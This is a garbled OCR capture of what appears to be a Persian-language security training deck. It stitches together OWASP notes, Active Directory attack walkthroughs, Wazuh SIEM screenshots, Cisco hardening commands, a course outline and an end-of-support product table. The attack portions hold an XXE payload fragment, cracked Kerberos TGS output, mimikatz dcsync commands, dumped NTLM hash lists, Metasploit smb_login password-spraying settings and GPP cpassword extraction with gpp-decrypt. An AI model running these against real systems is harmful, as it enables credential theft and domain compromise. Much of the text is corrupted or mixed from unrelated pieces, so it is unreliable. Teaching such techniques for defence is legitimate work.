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A1: Injection attacks
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A2: Broken authentication
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<?xml version="1.0" encoding="1SO-8859-1"¢>
<IDOCTYPE foo

[<!ELEMENT foo ANY >
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<creds>

<user>' &xxe;' </user>

<pass>'mypass’ </pass>
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<!DOCTYPE foo [
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<foo>&xxe;</foo>
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Vorkgroup: WORKGROUP i) |,_'> | |) ((SySd m.Cpl)) )')_ll Run ).)'Y
thf:ﬁ: IbE/)i.zard to join a domain or workgroup, click MNetwork ID... h‘:;;";eo::;n: Szlsqte m P rO p e rti e S o ) :2. ‘I "! U )\ A . S
[oroleca «Change» U dg- 5L
Toﬁv:name thlwscéz%rﬂpmer or change ts domain or Cll‘N ~ | g (59) )_’J * )=
workgroup, cli ange. = oregroup: & e . . o S S I S

WORKGROUP U= ) l) Uil = U § == 5
«Ok» (59, o Luaw g A9LS| Alogy s
Cancel S Suds

Onb wyiwd alaw b (g0, credential I Gl ¢l 5 g oo diwles credential b 5l ¢giSI-¥
631> Liwles «Welcome to the org.local domain!y aub cuddgoe g0 3 .ausS eslaiwl Anols o
CN L, Computers container (i 5 Active Directory 4o 3L ;143,90 oBiwd Gugw 590

‘o_.uS aslul AD L |) .)9_'> [LVSWEIW [o_ungUo 0 ) PowerShell ubg.uw.) )l oslesiwl LJ .)9.uu a9lsl

e e e R T e e 1

| add-computer ~domainname <FQDN-DOMAIN> -Credential <DOMAIN>\<USER> -restart —force |
# Example :
add-computer ~domainname org.local -Credential ORG\john -restart —force
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. “Users with Most Local Admin Rights 10 Find Top”
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. “Find Shortest Paths to Domain Admins” :
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. “Map Domain Trusts”
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: Cracked
Kerberos 5 TGS-REP etype 23
Skrb5tgs$23$*PRD_SQLService$DDD . LOCALSMSSQLSvc/DDDP. . .847ebd
Mon Oct 14 13:85:19 2819 (8 secs)
Time.Estimated...: Mon Oct 14 13:13:61 26819 (@ secs)
Guess.Base... : Pipe
Speed.Dev.#2 85399 H/s (6.19ms) @ Accel:2 Loops:1l Thr:64 Vec:1
Speed.Dev. # 381.4 kH/s (13.42ms) @ Accel:256 Loops:1 Thr:64 Vec:1
Speed.Dev.#® 386.8 kH/s
1/1 (100.00%) Digests., 1/1 (100.80%) Salts
2641592
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.: password@ @5 -> $Password3g8s
: @@6password -> pas+sword3i2
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https://github.com/dirkjanm/ldapdomaindump

. _ Sl e Jolho
‘S 50 (s 9lge> domain controller I ;5 S 4 1) dbbgy o OleMbol 130l -

python ldapdomaindump.py -u <DOMAIN>\\<USER> -p <PASS> -d <DELIMITER> <DC-IP>

python ldapdomaindump.py -u example.com\\john -p pass123 -d %’ 10.100.20.1
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grep DONT_EXPIRE_PASSWD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F :
{prlnt $3V I

:~% grep DONT_EXPIRE_PASSWD domain_users.grep | grep -v ACCOUNT_DISABLED
| awk -F *;' '{print $3}"
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CWAService
RTCComponentService
RTCService
clustsvc
SVCSPSQL
RTCGuestAccessUser
posuser

mxintadm
Omniuser

SVCDIRSYNC
PwdManager
SVCCRMSTGSetup
svcrm365
IUSR_FARFW-DC@2
IUSR_FARFW-DC@1
_strator
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infopointadmin

Cwd ¢l 93,5 1aw o domain controller S s s0lgi e 05 PowerShell jgiws (¢ sizxon
.))_AS )')3 OJLOJ_MJI.))S.O Ul).))ls

_________________________________________________________________

: Import Module ActiveDirectory :
Get-ADUser -filter * -properties Name, PasswordNeverExpires | where { $_.passwordNeverExpires !
-eq “true” } | where {$_.enabled -eq “true” |
I

__________________________________________________________________
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grep PASSWD_NOTREQD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ;" “{print $3}’

:~$ grep PASSWD_NOTREQD domain_users.grep | grep -v ACCOUNT_DISABLED
| awk -F ';* '{print $3}"
IWAM_FARFW-DCB2
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Magic
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green
Store
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Import-Module ActiveDirectory
Get-ADUser -Filter {UserAccountControl -band 0x0020}
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mimikatz # Isadump::dcsync /domain:<DOMAIN> /user:<AFFECTED-USER>
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mimikatz # Isadump::dcsync /domain:example.com /user:poorjohn
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Alexander:10e4:F5D023D8475D3F6E144E2ZEBADEF@YEFD : 6E6212F9FACI2682C51BB68DDC481907 : : :
MNAME ID LM NTLM

These both represent empty passwords:
LM aad3b435b51484eeaadibd35b51404ee
NTLM 31ldbcfe@dlb6ae931b73c59d7e@cB89c0

JB aiLd) S aS ‘aad3b435b51404eeaad3b435b51404ee’ | 2L 32T 69 2 LM hashes a5 Sl
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grep -iv “aad3b435b51404eeaad3b435b51404ee:” dumped_hashes.txt
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:~$ grep -iv ':aad3b435b51404eeaad3bs35b514084ee:' dumped_hashes.txt
.LOCAL\accounting:1473:b0109442b77b46c74e08287badbd943a:c9076a43cd7abb190174ad6028e5b1c2 :::
.LOCAL\adams:1478:5918c71f6akfB8cB8a4a3b108f3fabebbd: 0775948aa2c9c636d0a%eb3cd3bddehh :::
.LOCAL\adfexc:1500:72020350c71laefee8963805a19b0ed49:351ac5b30dd900c1d1015¢ce4d126F411 :::
.LocAL\adldemo:1511:a7cd68c1cf7e25774a3b108f3fabebbd: 6F491d67e7c3930d61d40d49d3442F
.LOCAL\adm:1513:61cb73542432211c40716F498287f719:32c6a59622c7aB65125ea69chb4c71301 :
.LOCALN\admin:1514:61cb73542432211cbbce7185f523F3b7:85ddcacd6b2d868661fedc2ccb2f7bfl:::
.LOCAL\advmail:1566:61ch73542432211c4a3b108f3fabecbbd: ed72f002734%9ae44cB820ed3a39441729 :::
.LOCAL\advwebadmin:1604:a8bde6dab4c6761b38f10713b629b565:11f1f6577eff1989fa5da7e87a91bckd :::
.LOCALN\airaya:1844:3e464060544526364a3b108F3Fa6ebbd: F3249a3fas0dfR64f51021e53FFfdO7c5 :::
.LocAL\allinone:1893:3db64aa7alb@ccd24a3b1@8f3fabcbbd:09238831blaf5edab93c773156409d96 :::
.LOCAL\applsyspub:1991:61ch73542432211c4a3b108f3fabcbbd:cc27822e173cfefbc584cB4aa7581941 :::
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LDAP Oyg2 d_JLSJLLLLUQ LsJLﬂgJ 9 L}JJLDLSAU)JAUQ Ech¢u LJCLLolJ )J)LS Lj;J FLJ)|3 )LJJ o as d;>J|lbL4u
.Cuwl domain controller

ython ldapdomaindump.py -u <DOMAIN>\\<USER> -p <PASS> -d <DELIMITER> <DC-IP> :
:JUo

Cawl! a|)_'>_uuu|d.)l9 39,9

:~$ sort -t ;' -k B domain_users.grep | grep -v ACCOUNT_DISABLED
| awk -F ';' '{print $3, $8}'
sosman 1601-01-01 20:00:00+00:00
satyak 1601-01-01 20:00:00+00:00
achilunga 1601-01-01 00:00:00+00:00
archini 1681-81-01 00:08:00+00:00
nivedithan 1681-01-21 00:00:00+00:00
levinr2 1601-01-01 00:08:00+008:00
dwahab 1601-01-01 80:00:00+00:00
jrebustillo 1681-01-01 @0:00:00+00:00
mtucker 1601-81-01 00:00:00+00:00
501.5VC 2010-10-06 12:28:01.578125+00:00
RTCReportPack 2010-10-08 10:06:508.466339+00:00
SQLService 2010-19-09 09:03:00.750000+00:00
5QLServerDBE 2010-10-09 09:84:41.213720+00:00
SQLServerAnalysis 2018-10-09 89:05:10.495110+00:00
lobbyl 2810-11-83 14:54:39.665258+00:00
pvproxyaccount 2011-02-83 09:57:58.4709195+00:00
ocsrecorder 2011-82-14 13:41:06.349211+00:00
SVCKRONSQL 2011-10-02 85:21:51.034389+00:00
statement 2011-11-28 85:14:31.719473+00:00
puser 2011-12-11 12:50:22.761242+00:00

b jgue joy L ol -\Y <
L il gloolbus (3|9“3Ls° BT ‘é}JQ sloloaxos g LSJLQJLAU L59—§ LS)L&fL:A_UUL+LU ool FLiUlec
AD LsLibLnﬂszo D PG>V C;LAUI(Jr:?ﬂb LSCLULuuA C)fﬂ a0 0> ) .3);5 RV- BV V b kiLﬂSZub LsLiq}o)
e Ol 3oLl jgie 4S5 63,5us 9 S5

WIERNET MARKETIE

L DG
IMTERNET SECURITY.

ML EODE

WEAK PASSWORD!

WTTERMET PROV

WTEERCIET SPEED
MMACE HOSTING
L ORfke




O ()2 092
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PowerShell ;I ailgi oo L5 ol sh 9 psS adl,5 AD 511 b8 51 i) 30U ozl 5 @bl
:psS oslaiwl 45 combo

$a = [adsisearcher]”(&(objectCategory=person)(objectClass=user))”
$a.PropertiesToLoad.add(“samaccountname”) | out-null
$a.PageSize = 1

$a.FindAll() | % { echo $_.properties.samaccountname } > users.txt

4 39,9 Aoz plail b 12 slaylial 5l S o 4 (939,9 vlg-icd | und 2l psilgise eS|
LS ol el
» PowerShell module DomainPasswordSpray.ps1
» PowerShell module Invoke-BruteForce.ps1
* Metasploit smb_login scanner
» Nmap ldap-brute NSE script
» CrackMapExec tool
*» Medusa tool
* Ncrack tool
» Hydra tool
eaiSise Jos 2 US4y puSeid 53 aiahd ol plail gl
:[o:{)gluo Cawdy |) AD L')b.g)ls u.uu.d |.)..'i._:|

net rpc group members ‘Domain Users’ -1 <DC-IP> -U “<USER>"%”<PASS>"
net rpc group members ‘Domain Users’ -1 192.168.10.50 -U “john”%”pass123” > users.txt

use auxiliary/scanner/smb/smb_login
set RHOSTS <DC-IP>

set SMBDomain <DOMAIN>

set SMBPass file:pwdlist.txt

set USER_FILE users.txt

set THREADS 5

run
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Umg)f Caawlw 6303550 Oladais g SYSVOL 5 aolLucl -\ W
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findstr /s /n /i /p password \\\\<DOMAIN>\sysvol\<DOMAIN>\*

findstr /s /n /i /p password \\\\example.com\sysvol\example.com\*

«password» ng_<J| dLu_) L9 .)_»Su.o U.M_JSJ |) SYSVOL D d9=>g0 Lgl_mo.)..}g)g ‘DLOJ 9w C)—.fl
ol 05 JSei 4o (Kali Linux JUglgiedw) Linux s Jsleo jgiws 33,35

mount.cifs -0 domain=<DOMAIN>,username=<USER>,password=<PASS> //<DC-IP>/SYSVOL /mnt
:Jbo
mount.cifs -o domain=example.com,username=john,password="pass@123” //10.10.139.115/SYSVOL /mnt
e

grep -ir ‘password’ /mnt

p0lg5 0 4S5 S 1oy GPP XML slassig s 1) cPassword (Sig Sa plei e bo (JLeplgicau
1S (LS50, |y oo «gpp-decrypty 5l 5l eslasiwl U

./Policies/{D25BCFOB-8DB2-42AD-930E-F410D7DB7D33}/Machine/Preferences/Groups/Groups.xml

<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-DIBDE
-25 11:43:51" uid="{4314476D-BEFF-4698-89C5-7A5B3CD24637}" userContext="0" removePolicy="0"><Prope
escription="" cpassword::' +b5\0v3d4ngx;VJd0/vyeprAH1—MFTlnbAnggsz changelLogon="68" noChange="0"
k" f*</UHH1:

/mnt/example.com# gpp-decrypt +bsYOv3d4/Kgx3vldo/vyepPfAN1zZMFTiQDApgR92JE

P@$$wrd

:/mnt/example. com#
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Log-based Intrusion Detection ¢
Rootkit Detection ¢

Malware Detection *

Active Response *

Compliance Auditing *

File Integrity Monitoring -
System Inventory *

Host-based Anomaly Detection *
Window Registry Monitoring «
Policy Monitoring *

Security Analytics *

Intrusion Detection *
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Security events ©

Dashboard  Events

B~  Search

Alerts evolution - Top 5 agents

20000

Security alerts

ewarh -+ Add filter

WAZUH ' Modules ' Security events
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51 Exploreagent [ Generate report
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v search
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Windows
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B  Search
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Incident response ©
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cluster.name: wazuh  rulegroups: audit  + Add filter

Alert groups Events
5327 hits
May 19, 2020 @ 10:13:25.490 - Aug 17, 2020 @ 10113:25.490
S\ @ Connection blocked b y e 8 )

Process stopped

@ File quarantined

@ Application removed £ 20
@ Ticketopened g I I I I I I I I
. I . | (11 | 1. o

200526 W00SM 007 W06TS 200621 W06 20200705 200712

timestamp per day

Time agentname rule groups rule description rulelevel ruleid
> Aug 16, 2020 @ 22:39:18.199 RHEL? Connection blocked Poor reputation TP address 196.52.43.89 blocked by firewall s 100160
> Aug 15, 2020 @ 16:29:31.754 Windows File quarantined File C:\WUsers\Administrator\Finance.doc quarantined 1 100125
» Aug 15, 2020 @ 01:20:38.187 Debian Process stopped Compromised process /usr/sbin/httpd stopped 1 100232

> Aug 14, 2020 8 03

Centos Application removed Blacklisted RPM nmap-ncat-6.40-19 removed 1 100206

Regulatory Compliance c&d.gl§<

Lstm‘ow Olyy 80 g L) lasbiwl UL csslas gl |) U_u.wl (59O GLmd).uS = Wazuh il
slop,aily 5l (Sluity 9 sudunbie Sl U oo Lo Shg ol -l 03,5 polé (Jisio
(39> swanai g Lr*'g lasl, o U (GDPR UL GPG13) Wiy, 8o (Fuudald Cags 5 laglojlw 4 o like

= %* WAZUH “/  Modules | PCiDSs O ®wah
PCIDSS ©
Controls ~ Dashboard  Events () Exploreagent  [3) Generate report
B v Search KQL [ v Last24 hours Show dates J Refresh
custername: wazuh  rulepei dssiexists +Add filter
PCI DSS requirements. Requirements by agent. s
o6s 5000 @ Amazon
5000 @024 @ Centos
@025 @ Devian
H ®w0s2 @R
% 1061 2,500 Ubuntu
2500 o o o
121 H Windows
@®n23 =
o - -
AR A LA .
o - SRV D SN 0
s mm a0 e o 024 1025 B 123 e
umestamp per 30 minutes Requirements
Recent events PCIDss Requirements
Time.+ sgentname  rulepaldss e descrption niclewl nieid | Requirement 10
irement 11
Aug 17, 2 13:24:11.878  Windows. Logon Failure: Unknown user or bad password s sne L R 65 e
Requirement s
1024-Imatgiopalscesan WA 653 improperscessconol. 3
g 17, 20208 D2 T s Fite mosified in /nne/ussh directory ) 0000 | pequirements
121 erom quaery e P 115-Onpoyschngeceecn. 8
Requirement 1
ME DL 20000 D Wente 65, 106 653 Wb actacks S0 dnjection ttempe .
iy 123 pertom et andex. 2 n




Cloud Security Monitoring c‘*bls{

CJJUbJ API aJa_uu PR (_g)_gl u:>L,w)J) > Cawl )_)l_'é dg> Cl_‘>)l.tSJ (SLQJQJLO JI oslaswl L Wazuh Il
Amazon AWS Azure silo ol g oo oBasesdlll i esslcwsds (Siuiel WleMol g 3l ails
ohso 9 osilgd hal ool pizan 3> )10 eslaiuwlsyge Loyl Jaulxi g &yUas die; jo 1) JS95 9

D> 0 _)Le..x_uw 3g>g0 Lo 20 blé Haik b g gl glolouse Oladail g ¢yl (_g.)._u)s..u sl

Amazon AWS ©
Dashboard  Events
B~ Ssearch

ster na

legroups:amazon  + Add filter

= %¢ WAZUH ' Modules | Amazon AWS

KQL [ Last7days

.....

Containers Security &,}lgl§<|

P Lo lxial g g pisaawl alagagi el ssaliw g (oils oylas L Wazuh ol
2SS o0 (lwlud Lo container 30> g Docker slogljue

Docker listener ©

Dashboard  Events

nnnnn

.....

= %* WAZUH V' mod

nnnnnnnn

uuuuuu

ules | Docker listener

eeeeeeeeeeeee

nnnnnnnnnnnnnnnnnnn

adoringrash  create  Container adoring_mash created 4 sm01

05,5 ajl)l ol wilaslely 9 s yoguas jo 1) (lebngsSly g Wlsiiwe ‘o)_o_d.: o=l Aol Colw

.)_ASU.Q b_JLu.uwu 0 |) ) LSLQ’LJ"‘LCPJ—“*:‘.“” 9 Cawl

’

Do







. I...o 4?)19.)

Oljagaed Cusiol (gl
2 CISCO

11 I A
0 CISCO =

(53489 Lowaw 25913,8 (|

wsio €

R QT FSpe 4SS Cowl Ls)gl_lé wlbgs g w.d.om U_JlSu).oT S 5 Sa Cisco Systems S 5
B gl &Sl ol 3yl HL8 Loyeds <l ) (JoogSaliw 3550 53 0je> 0w g
L0 G99 4 9 39l (= lilo 1) Vg ,9l8 WVguaxe g Blead ;505 g (Hlplie Ol g
25155250 (SEC-160) ¢S (glooSiws ool (635,50 sl P)U Olygiawd (oawy ) U Gy ol o

68 Dl 4 39,9 sy Caglls
3S\oc 9w

I il 30,5 990l LU 3 £oBg g o login block-for 120 attempts 3 within 30

930 4.ul.) 120 L5|)'.’ I) ‘QM L D9 9 LS')'.’
(- 3bb 63U (30,5 2L local login)

omo bbsse baid awptws JuS Comd Gaop Iogiln quiet-mode access-class [acl-name
LS G plangan 43 39,9 (sl Ailgige | ACITNUMbeT]
s 4 39,9 sloBMS o HUaDl ol login delay seconds
(5990 ol U 39,9 (slo3laug, login on-success log

euansn 4 39,9 (sl §890L LB (slaslagg, s 10IN on-failure log



Role-Based CLI Views
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(Authentication, Authorization and Accounting)

(3L root view 5 L) 35S 0 Sl 3uas View Sy

(519.00) VIEW (glp j9:250, yolais!

« interface L command S (olaisl g gl
.view

.(enable secret for root password) View <« ¢)aub 3)lg
303> superview Sy sl
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.SUPErview au >g>g0 View Lolais|

<>

global

global

view

view

priv. EXEC

global

superview

superview

Line Config Mode
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disables EXEC mode for the line (outgoing
connections only)

forces username/password authentication
from local database

prevents logging from interrupting com-
mands

logs out after 5 mins inactive

Line

any unused

all

all

all

)9

aaa nhew-model

parser view view-name

secret password

commands parser-mode
[include|exclude] [com-
mand|interface]

enable view view-name

parser view view-name
superview

secret password

view viewname

)9

no exec

login local

logging synchronous

exec-timeout 5



cry is pol 10 crypto isakmp policy 10 global

a p (auth pre) authentication pre-share (-isakmp)
| 3600 lifetime [secs] (-isakmp)

cry is key vpnpass add crypto isakmp key [key] ad-
10.2.2.2 dress [peer IP]

cry ip t VPN-SET esp-a 256  crypto ipsec transform-set global
esp-sha- [tag] [encry.] [bits] [hash]

cry map CMAP 10 ipsec-i crypto map [name] [seq #] global
ipsec-isakmp

s pe 10.2.2.2 set peer [peer IP] (-crypto-map)

s t VPN-SET set transformset [tag] (-crypto-map)
desc [text] description [text] (-crypto-map)




4y 399 63 (5nySey Wlauais Linlas | ShOW login sh login

show crypto key mypubkey | sh cry key mypubkey r
rsa

(security association) IPSec SA iyles | ShOW Crypto ipsec sa sh crip sa
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secure boot-image
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reload -> ROMmon mode

Ol a8 (oBiws Olgiso ROMmon dir
[, Cawl 6040 6,053 Secure Bootset
Ao olils
.secure 10S image L Boots route ROMmon boot flash:filename
ol 3,5 2b5L global secure boot-config

restore flash:filename
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' password
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3¢90 RSA _ié> (sleaulS dan 3> | CTYPLO key zeroize rsa
(< Foq5 1,3S1a5) RSA (613850, 345 sl | €Y key gen rsa gen mod 1024

(line config, vty) SSH (s;lwled | transport input ssh

SSH (sl,s Timeout plais 1P ssh time-out seconds

i &lad 5l Jud 58V el e sla b\ slass eulass | 1P Ssh authentication-retries 2
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V2 ) dous SSH pulais | 1P ssh version 2
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Course content

14 sections . 17 lectures . 16 h 40 m total length

* Introduction 7 lectures .25 min

* Goals and Learning objectives -Volum 4 2 lectures .8min

* File and Disk Encryption 22 lectures .2 hr 15 min

* Anti-Virus and End-Point-Protection 14 lectures .57 min

* Next Generation-Anti-Virus, End-Point-Protection, EDR 4 lectures .19 min

* End-Point-protection Technology 26 lectures .2 hr 23 min

* Threat Detection and Monitoring 16 lectures .1 hr 18 min

* Malware and Hacker Hunting on the End-point 30 lectures .3 hr 26 min

* Operating System and Application Hardening 11 lectures .57 min

* Secure Deleting,Evidence Elimination and Anti-Forensics 12 lectures .1 hr 11 min

* Email Security,Privacy and Anonymity 17 lectures . 2 hr 21 min

* Messengers-Security,Privacy and Anonymity 10 lectures .17 min

* Wrap Up 5 lectures .43 min

* BONUS Section 1 lectures .1 min
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/ 4 ways shadow IT negatively \
impacts organizations

Shadow IT precludes Unskilled individuals Different departments IT teams cannot see

the benefts of volume, engaging in shadow implement shadow shadow IT resources,
potentially costing the IT may not have the IT differently, leading which means they
total business more expertise needed to to inconsistencies in cannot manage,
in resources, time properly configure and resource procurement, organize, control or
and labor. secure resources. This configuration and use. support them. Shadow
risks data loss, theft IT resources are not tied

and compliance issues. into any common
management scheme.
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1/14/2020
1/14/2020
1/31/2020
7/14/2020
7/14/2020
10/13/2020
10/13/2020
2010 (all editions)
2/1/2020
3/31/2020
10/01/2020
11/01/2020
2/2/2020
3/12/2020
3/12/2020
3/24/2020
3/24/2020
4/30/2020
10/31/2020
11/30/2020

4/7/2020

33385 WVgaxos Cawd gl Lias

7
Server 2008
10
2010 (all editions)
2010
2010 (all editions)
2010
2010 (all editions)
7.2
13
5.7
12.2.0.1
6.3
6.0
6.0-6.2
11
15
7.5
7.6
6.10

2015

Windows
Windows
Internet Explorer

Visual Studio

Team Foundation Server

Office
Exchange
SharePoint Server
MySQL Cluster
Java SE
MySQL Database
Database
NSX for vSphere
ESXI
vSAN
Fusion
Workstation
Enterprise Linux
Enterprise Linux

Enterprise Linux

Acrobat DC (Classic)

Microsoft

Microsoft

Microsoft

Microsoft

Microsoft

Microsoft

Microsoft

Microsoft

Oracle

Oracle

Oracle

Oracle

VMware

VMware

VMware

VMware

VMware

RedHat

RedHat

RedHat

Adobe




10/13/2020
10/13/2020
10/13/2020
8/21/2021
7/1/2020
4/14/2020
4/14/2020
4/14/2020
4/14/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
1/14/2020
10/13/2020
9/8/2020
9/8/2020
10/13/2020
10/13/2020
10/13/2020
4/14/2020
4/14/2020
10/13/2020
4/14/2020
4/14/2020
10/13/2020
12/31/2020

WVgazo JS Cand P9 U

2010
2016
2010
2.1x
8000

2015
2015 R2
2010
2010
2016
2016
2010
2010
2010
2016
4
4
2010
2010
2010
2010 Enterprise
2010
2010
2008
2008 R2
2010

Access
Access
Access Services in SharePoint
ASP.NET Core
Azure StorSimple Series
Cloud Platform System
Cloud Platform System Standard
Dynamics GP
Dynamics GP
Dynamics GP
Excel
Excel
Excel for Mac
Excel Home and Student
Excel Services in SharePoint
Exchange
Exchange
Expression Encoder
Expression Web
FAST Search Server for Applications
FAST Search Server for Internet Sites
FAST Search Server for SharePoint
Forefront Threat Management
Forefront Unified Access Gateway
Groove Server
HCP Pack
HCP Pack
InfoPath
InMage/ASR Scout

Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft

Microsoft




1/11/2022
9/8/2020
4/13/2021
7/14/2020
7/1/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
9/8/2020
4/14/2020
4/14/2020

4/14/2020

10/13/2015
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020

10
1
2010
4.6
1200
2010
4
2010
2016
2010
2.1
1709

1809

2010
2010
2016 (Mac)
2016 (Mac)
2016
2010
2016
2016
2016
2016
2016
2016
2016
2016
2010
2016

Internet Information Service (IIS)
Internet Information Services
Lync Server
Microsoft Application Virtualization
Microsoft Azure StorSimple Series
Microsoft Excel Mobile
Microsoft Expression Studio
Microsoft Publisher
Microsoft Publisher
Microsoft Report Viewer
Microsoft User Experience

Microsoft Windows 10 (Enterprise and
Education Editions)

Microsoft Windows 10, (Home,Pro, Pro
workstations)

Office
Office
Office
Office
Office
Office (all editions)
Office Home & Business for Mac
Office Home & Student for Mac
Office Home and Business
Office Home and Student
Office Professional
Office Professional Plus
Office Standard
Office Standard for Mac
OneNote
OneNote

Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft

Microsoft

Microsoft

Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft

Microsoft




10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
7/13/2021

10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/12/2021
10/13/2020
10/13/2020
7/13/2021

2010
2010
2016
2016
2010
2010
2010
2016
2016
2010
2010
2010
2016
2010
2016
2010
2010
2016
2010
2010
2010
2010
2010
2010
5
2016
2015

OneNote Home and Student
Outlook
Outlook
Outlook for Mac
Outlook with Business Contact
Microsoft SharePoint Server
Powerpoint
Powerpoint
PowerPoint for Mac
PowerPoint Home and Student
Project
Project Professional
Project Professional
Project Server
Project Standard
Search Server
SharePoint
SharePoint
SharePoint Designer
SharePoint for Internet Sites
SharePoint Standard
SharePoint Foundation
SharePoint Server Service Pack 2
SharePoint Workspace
Silverlight
Skype for Business (Client)
Skype for Business (Server)

SQL Server Compact

Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft

Microsoft




7/1/2020
10/13/2020
10/13/2020

9/8/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020
10/13/2020

9/8/2020

9/8/2020
7/14/2020
10/13/2020
7/14/2020
10/13/2020
10/13/2020
10/13/2020

9/8/2020
10/12/2021

1/11/2022
5/11/2021
10/13/2020
5/11/2021
5/11/2021
10/13/2020
5/11/2021
5/11/2021

5/11/2021

2010
2010
2010
2010
2010
2016
2010
2016
2010

2010 Express

2010 Express
2010

(all editions)
2010

(all editions)
2015
2015

2010 Express

10 - 2016 LTSB
2016
1809
2015 LTSB
1809
1909
2015 LTSB

1809
1909

1909

StorSimple Data Manager

System Center Data Protection

System Center Essentials

System Center Service Manager

Visio
Visio Professional
Visio Professional
Visio Standard
Visio Standard
Visual Basic Express
Visual C#
Visual C++
Visual Studio (all editions)

Visual Studio 2015

Visual Studio Team Foundation

Visual Studio Server 2015
Visual Studio Team Server 4
Visual Studio Update 3
Visual Web Developer
Windows
Windows
Windows 10 Education
Windows 10 Enterprise
Windows 10 Enterprise
Windows 10 Home
Windows 10 IoT Enterprise
Windows 10 IoT Enterprise
Windows 10 Pro

Windows 10 Pro Education

Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft

Microsoft




5/11/2021 1909 Windows 10 Pro for Workstations Microsoft

9/8/2020 - Windows Communication Microsoft
10/13/2020 - Windows Defender for Windows 10 Microsoft
10/13/2020 - Windows Defender Exploit Guard Microsoft
10/13/2020 7 Windows Embedded Standard Microsoft
4/14/2020 - Windows Identity Foundation Microsoft
7/14/2020 2010 Windows MultiPoint Server Microsoft
7/14/2020 2010 Windows MultiPoint Server Microsoft
12/8/2020 1903 Windows Server(Datacenter, IoT) Microsoft
10/13/2020 2010 Word Microsoft
10/13/2020 2016 Word Microsoft
10/13/2020 2016 Word for Mac Microsoft
10/13/2020 2010 Word Home and Student Microsoft
5/29/2020 2.14 App Volumes VMWare
12/13/2020 2.2 App Volumes VMWare
3/14/2021 2.16 App Volumes VMWare
9/17/2021 2.18 App Volumes VMWare
10/18/2020 1 Cloud Provider Pod VMWare
4/1/2020 1.13.4 Essentials PKS VMWare
3/12/2020 6 ESX/ESXi VMWare
11/15/2021 6.5 ESXi VMWare
3/22/2021 7.X Horizon VMWare
4/19/2020 8 Horizon DaaS On Prem Platform VMWare




9/3/2021
1/16/2021
9/7/2020
11/15/2021
11/15/2021
11/15/2021
12/20/2020
1/22/2021
12/31/2020
3/31/2021
5/29/2020
9/6/2020
12/13/2020
3/14/2021
7/2/2021
6/30/2020
11/15/2021
11/15/2021
5/17/2020
4/11/2021
10/4/2020
3/28/2021
9/19/2021
12/17/2020
4/11/2021
4/11/2021
6/30/2020
6/30/2020

4/11/2020

6.4
2.4
8.1
6.5
8.2
9.5
9.6
3.1
5x
9.4
9.5
9.6
9.7
9.8
7.1
6.7
6.5
1x
3
9.5
9.7

10

7.4,7.5

7.6

7.6

5.8.4

5.8.5

4.7

Integrated Openstack
NSX for vSphere
NSX-T Data Center
Site Recovery Manager
Site Recovery Manager
Site Recovery Manager
Smart Assurance
Smart Assurance
Smart Experience
ThinApp
User Environment Manager
User Environment Manager
User Environment Manager
User Environment Manager
User Environment Manager
vCenter Application Discovery
vCenter Server
vCenter Server
vCloud Availability
vCloud Availability
vCloud Director for Service Providers
vCloud Director for Service Providers
vCloud Director for Service Providers
vRealize Automation
vRealize Automation
vRealize Business for Cloud
vRealize Configuration Manager
vRealize Configuration Manager

vRealize Log Insight

VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare
VMWare




10/3/2020i 4.8 vRealize Log Insight VMWare
12/20/2020 4 vRealize Network Insight VMWare
9/19/2021 5 vRealize Network Insight VMWare
4/30/2021 7 vRealize Operations Manager VMWare
4/30/2021 7.5 vRealize Operations Manager VMWare
12/17/2020 7.4-7.5 vRealize Orchestrator VMWare
4/11/2021 7.6 vRealize Orchestra or VMWare
9/20/2020 2 vRealize Suite Lifecycle Manager VMWare
11/15/2021 6.5-6.7 vSAN VMWare
11/15/2021 8.1 vSphere Replication VMWare
11/15/2021 6.5 vSphere Replication VMWare

4/3/2020 9.7 Workspace ONE UEM Console VMWare

5/2/2020 1810 Workspace ONE UEM Console VMWare




4/7/2020 DC Acrobat Adobe
4/7/2020 2015 Acrobat Pro DC (Classic) Adobe
4/7/2020 2015 Acrobat Reader DC (Classic) Adobe
4/7/2020 2015 Acrobat Standard DC (Classic) Adobe
4/30/2020 AEM 6.3 Aem (CQ) All capabilities Adobe
